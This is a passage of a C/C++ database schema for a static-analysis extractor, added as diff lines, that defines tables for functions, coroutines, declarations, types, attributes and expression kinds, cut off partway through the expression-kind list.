invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = 